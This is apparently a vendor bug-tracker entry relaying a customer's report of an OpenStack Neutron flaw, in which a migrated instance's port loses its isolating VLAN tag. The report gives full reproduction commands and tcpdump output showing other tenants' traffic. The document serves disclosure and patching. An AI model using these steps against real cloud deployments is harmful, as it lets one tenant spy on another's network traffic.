Bug 1594825

Description of problem:

There is concern amoung customer about this security issue reported upstream[1] that is public and easy to exploit. Now the bug reported (our customer) is requesting help to us in order to fix the issue, since it has been running for long and now is public.

"""
A time ago we've filled in a security bug on launchpad. This bug is causing to be able to sniff other customer traffic from an instance that is located on a same compute node. Link to the bug: https://bugs.launchpad.net/neutron/+bug/1734320

Tldr; How to reproduce the security bug:
Spawn an instance with two nics:
openstack server create --nic net-id=<net-uuid1> --nic net-id=<net-uuid2> --image <image_id> --flavor <flavor_id> instance_temp

tcpdump on second nic in instance:
[root@instance_temp]$ tcpdump -eeeni eth1
      Port "qvoa848520b-08"
          tag: 4095
          Interface "qvoa848520b-08"

force port-down on second nic:
neutron port-update <port-id of second nic> --admin-state-up False

Verify port gets tagged with vlan 4095 on compute node:
compute# ovs-vsctl show | grep -A3 qvo<part of port-id>

Now resize(can be done as user) or live-migrate(require admin) the instance:
nova live-migration <instanceid>

Now port is untagged(tag 4095 is missing):
compute2# ovs-vsctl show | grep -A3 qvo<part of port-id>
      Port "qvoa848520b-08"
          Interface "qvoa848520b-08"
      Port...

Now traffic of all other self-service networks present on compute2 can be sniffed from instance_temp

[root@instance_temp] tcpdump -eenni eth1
13:14:31.748266 fa:16:3e:6a:17:38 > ff:ff:ff:ff:ff:ff, ethertype 802.1Q (0x8100), length 46: vlan 10, p 0, ethertype ARP, Request who-has 10.103.12.160 tell 10.103.12.152, length 28
13:14:31.804573 fa:16:3e:e8:a2:d2 > ff:ff:ff:ff:ff:ff, ethertype 802.1Q (0x8100), length 46: vlan 33, p 0, ethertype ARP, Request who-has 10.0.1.9 tell 10.0.1.70, length 28
13:14:31.810482 fa:16:3e:95:ca:3a > ff:ff:ff:ff:ff:ff, ethertype 802.1Q (0x8100), length 46: vlan 33, p 0, ethertype ARP, Request who-has 10.0.1.9 tell 10.0.1.154, length 28


We've already filled a bug and it is confirmed(see link above). Unfortunately we don't have the knowledge of creating a patch and writing unit tests. The bug is open for quite some time and it is difficult to fix since it requires interaction with multiple projects. Is it possible that RH can acquire some resources for this serious security bug?
"""

What is the plan for this issue? Can we help customer with his request ?

[1]https://bugs.launchpad.net/neutron/+bug/1734320

Version-Release number of selected component (if applicable):

How reproducible:


Steps to Reproduce:
1.
2.
3.

Actual results:


Expected results:


Additional info: